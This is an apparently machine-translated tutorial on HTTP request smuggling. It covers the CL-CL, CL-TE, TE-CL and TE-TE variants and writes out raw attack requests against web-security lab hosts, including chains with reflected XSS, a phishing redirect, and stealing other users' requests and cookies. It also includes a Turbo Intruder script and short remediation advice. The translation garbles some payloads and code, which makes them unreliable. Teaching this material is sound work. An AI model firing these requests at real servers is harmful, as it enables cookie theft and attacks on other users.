Shulou(Shulou.com)05/31 Report--

How to analyze the HTTP smuggling attack, in view of this problem, this article introduces the corresponding analysis and answer in detail, hoping to help more partners who want to solve this problem to find a more simple and feasible method.

1. What is the HTTP request for smuggling

In a complex network environment, different servers implement the RFC standard in different ways. In the case of inconsistent understanding of the boundaries of the packet, the front-end server inserts part of the next request packet into one request packet. From the front-end server point of view, it belongs to a complete request, while to the back-end server, it belongs to two requests. Part of the front-end request is interpreted by the back-end server as the beginning of the next request. Therefore, it allows attackers to bypass security controls, access sensitive data without authorization, and directly harm other application users.

two。 The cause of production

After HTTP1.1, a special request header Connection: Keep-Alive is added to establish a tcp persistent channel. After a tcp handshake, multiple requests can be transmitted. But this can only be a response to a request. In order to improve the efficiency of data transmission and reduce congestion. Then came the HTTP Pipelining (pipelining) field, which is an asynchronous technique that submits multiple http requests in batches without waiting for a response. As shown below, Pipelining and non-Pipelining are used.

This means that the front end and the back end must agree on the boundary size of each packet in a short period of time, otherwise, the attacker can construct to send a special packet, which is a request in the front end, but is interpreted as two different HTTP requests at the back end. This allows an attacker to maliciously add content before a legitimate packet sent by the next user. As shown in the picture, the content of the smuggling ("prefix") is highlighted in orange:

Assume that the front end considers the content length header (Content-Length) value as the end boundary of the packet, while the back end gives priority to the Transfer-Encoding header. So from the back-end point of view, as shown in the following figure, the blue font belongs to a packet, while the red font belongs to the beginning of the next packet. In this way, a packet was successfully smuggled from the front end.

3. Attack category

GET request whose 3.1.CL is not 0

Suppose the front-end proxy server allows the GET request to carry the request body, while the back-end server does not allow the GET request to carry the request body, it will directly ignore the Content-Length header in the GET request and do not process it. This could lead to a request for smuggling.

For example, send the following request

GET / HTTP/1.1

Host:example.com

Content-Length:44

GET / socket HTTP/1.1

Host: example.com

By reading the Content-Length, the front-end server confirms that this is a complete request, and then forwards it to the back-end server. Because the back-end server does not judge the Content-Length, because of the existence of Pipeline, it thinks that these are two requests, namely

First

GET / HTTP/1.1

Host: example.com

The second one.

GET / socket HTTP/1.1

Host: example.com

Is tantamount to smuggling a request.

3.2 CL-CL

In the RFC7230 specification, it is specified that a 400th error should be returned when a request received by the server contains two Content-Length and the values of the two are different. However, it is inevitable that some servers do not strictly comply with the specification. It is assumed that both the front-end and back-end servers receive such requests and do not report errors, where the front-end server delimits the request according to the value of the first Content-Length, while the back-end server processes the request according to the value of the second Content-Length.

At this point, the attacker can maliciously construct a special request.

POST / HTTP/1.1

Host: example.com

Content-Length: 6

Content-Length: 5

one hundred and twenty three

A

The length of the packet obtained by the CDN server is 6, and the whole packet is forwarded to the back-end server, while the back-end server gets the packet length of 5. When the first five characters are read, the back-end server thinks the request has been read and sends it out. At this time, there is still one letter A left in the buffer. For the back-end server, this An is part of the next request, but the transmission is not finished yet. At this point, it happens that another normal user has made a request to the server, then the A letter will be pieced together in front of the next normal user request, and the attack will be carried out here.

3.3 CL-TE

The so-called CL-TE, as the name implies, means that when a request contains two request headers, Content-Length and Transfer-Encoding, the front-end proxy server is delimited according to the request header Content-Length, while the back-end server takes the Transfer-Encoding request header as the standard.

Construct a packet

POST / HTTP/1.1

Host: example.com

Content-Length: 16

Transfer-Encoding: chunked

0

Chunkedcode

The front-end server processes the Content-Length header and determines that the request body length is 16 bytes until the end of the chunkedcode. This request will be forwarded to the back-end server.

The back-end server processes Transfer-Encoding headers, so the message body is treated as using chunked encoding. It processes the first block, which is called zero length, and is therefore considered to terminate the request. There is chunkedcode left in the buffer, and because of pipeline technology, the back-end server treats these bytes as the beginning of the next request in the queue.

Remember to cancel the automatic update Content-Length function of BurpSuite before you do it.

Note: two requests need to be sent

3.4 TE-CL

In this case, the front-end server processes the Transfer-Encoding request header, while the back-end server processes the Content-Length request header.

Construct a packet

Host:example.com

Content-Length: 3

Transfer-Encoding: chunked

Chunkedcode

0

Notice that 0 is followed by two\ r\ n

The front-end server processes the Transfer-Encoding request header, so it treats the message body as using block encoding, processing the first block with 11 bytes up to the last byte of the chunkedcodede. Start processing the second block, which is 0 bytes and is considered to terminate the request. The request is forwarded to the backend at this point. The backend reads the first packet at 11, and chunkedcode\ r\ n0 is the beginning of the next packet.

Remember to cancel the automatic update Content-Length function of BurpSuite before you do it.

Note: two requests need to be sent

3.5 TE-TE

The front-end server processes the first Transfer-Encoding request header, and the back-end server processes the second Transfer-Encoding request header.

Construct a packet

Host:example.com

Content-length: 3

Transfer-Encoding: chunked

Transfer-encoding: error

Chunkedcode

0

Here, two Transfer-Encoding fields are used, and the second TE field value is an error value. Here, the front-end server chooses to process the first Transfer-Encoding. The whole request is normal and forwarded to the back-end server intact, while the back-end server gives priority to the second Transfer-Encoding field, while the second Transfer-Encoding field is non-standard. According to the RPC specification, the Content-Length field will be taken for processing. This way the request is split into two requests.

Remember to cancel the automatic update Content-Length function of BurpSuite before you do it.

Note: two requests need to be sent

4. Attack expansion

4.1.smuggling+reflected xss

Xss at simple UA does no harm, but it can be used in combination with request smuggling attacks to enhance the harm.

We can construct the following packets as long as they are sent once

POST / HTTP/1.1

Host: acc01f221f0e5490815e020800d200d8.web-security-academy.net

Connection: close

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: session=k3jXNrcQioQOdiLYyRXPJVf5gHZykEl8

Content-Type: application/x-www-form-urlencoded

Content-Length: 150

Transfer-Encoding: chunked

0

GET / post?postId=3 HTTP/1.1

User-Agent: ">

Content-Type: application/x-www-form-urlencoded

Content-Length: 5

Xero1

Xss will be triggered on any page of the site, because in the http sequence, the smuggling request will be inserted in front of the user's request for the site

4.2 direct+smuggling

This scenario is based on url redirection, which redirects the user to a fixed web page, and lab provides us with a jump api,/post/next?postId=3 route to / post?postId=4.

At this point, we can use smuggling attacks and cooperate with redirection for fishing.

Send the following packets once:

POST / HTTP/1.1

Host: ac501fd21fceba4f80de460400140045.web-security-academy.net

Connection: close

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36

Sec-Fetch-Dest: document

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9

Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User:? 1

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: session=Rmtn44vZ2BeGqD1ToPbAYrcDS0UiIKwQ

Content-Type: application/x-www-form-urlencoded

Content-Length: 178

Transfer-Encoding: chunked

0

GET / post/next?postId=3 HTTP/1.1

Host: ac501fd21fceba4f80de460400140045.web-security-academy.net

Content-Type: application/x-www-form-urlencoded

Content-Length: 10

Xero1

Then visit any page of the original website and it will be redirected to / post?postId=4

4.3 stealing user requests

Use smuggling attacks to capture user request packets and steal cookie

We construct the request packet on the api interface at the sending comment as follows

Send the following packet

POST / HTTP/1.1

Host: ac671f031fa2e9ba80ffdc2d00690027.web-security-academy.net

Connection: close

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: session=7fnaaemuD32ZqUPyB6EGVA8vOL8wwz8p

Content-Type: application/x-www-form-urlencoded

Content-Length: 343

Transfer-Encoding: chunked

0

POST / post/comment HTTP/1.1

Host: ac671f031fa2e9ba80ffdc2d00690027.web-security-academy.net

Content-Length: 600

Content-Type: application/x-www-form-urlencoded

Cookie: session=7fnaaemuD32ZqUPyB6EGVA8vOL8wwz8p

Csrf=aeITUnejzQ7XRUTUiEWl4X6ckwPt8TWc&postId=2&name=1&email=123%40qq.com&website=https%3A%2F%2F

Successfully concatenate the user's request to the comment parameters of the smuggling request, as shown below

5. Case

This case uses the attack method of CL-TE. According to RFC, Transfer-Encoding always takes precedence when both Content-Length and Transfer-Encoding headers appear in the same request packet. However, if the Transfer-Encoding header is malformed, the interpretation of the request may differ between the front-end server and the back-end server. The CLTE problem found on this site is to add an extra space between Transfer-Encoding and: in the request packet to make the format of the field a non-standard value. At this time, the front-end server gives priority to Content-Length according to the RPC specification, while the back-end server does not strictly comply with the RPC specification and processes the data packet on the basis of Transfer-Encoding.

Description of malicious request:

It can be seen that the user's normal request is spliced to the X field, but the X request header is not a standard request header, so it is ignored, and the user's cookie field is also spliced to the smuggling request.

Can successfully steal the user's cookie on Burp Collaborator Client

6. Testing tool

Find the request package on burpsuite, right-click lauch smuggle probe, and then display the report on the scan results of burpsuite

Further identify vulnerabilities

Right-click "smuggle attack (CL.TE)"

Turbo Intruder script appears

# if you edit this file, ensure you keep the line endings as CRLF or you'll have a bad time

Def queueRequests (target, wordlists):

# to use Burp's HTTP stack for upstream proxy rules etc, use engine=Engine.BURP

Engine = RequestEngine (endpoint=target.endpoint

ConcurrentConnections=5

RequestsPerConnection=1

ResumeSSL=False

Timeout=10

Pipeline=False

MaxRetriesPerRequest=0

Engine=Engine.THREADED

# This will prefix the victim's request. Edit it to achieve the desired effect.

Prefix = 'GET / hopefully404 HTTP/1.1

X-Ignore: a request packet with a uri of / hopefully404 is smuggled, and the next user's request will be spliced to the X-Ignore field. Therefore, if there is a smuggling vulnerability, a packet with a status code of 404 will be returned.

# The request engine will auto-fix the content-length for us

Attack = target.req + prefix

Engine.queue (attack)

Victim = target.req

For i in range (14):

Engine.queue (victim)

Time.sleep (0.05)

Def handleResponse (req, interesting):

Table.add (req)

Click "attack" for blasting test

A packet with a 404 status code is seen, indicating that there is a http smuggling vulnerability

Repair scheme:

1. The front-end server standardizes the input of the front segment.

2. The front-end server uses HTTP2.0

3. The backend server discards abnormal requests

This is the answer to the question about how to analyze the HTTP smuggling attack. I hope the above content can be of some help to you. If you still have a lot of doubts to be solved, you can follow the industry information channel to learn more about it.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.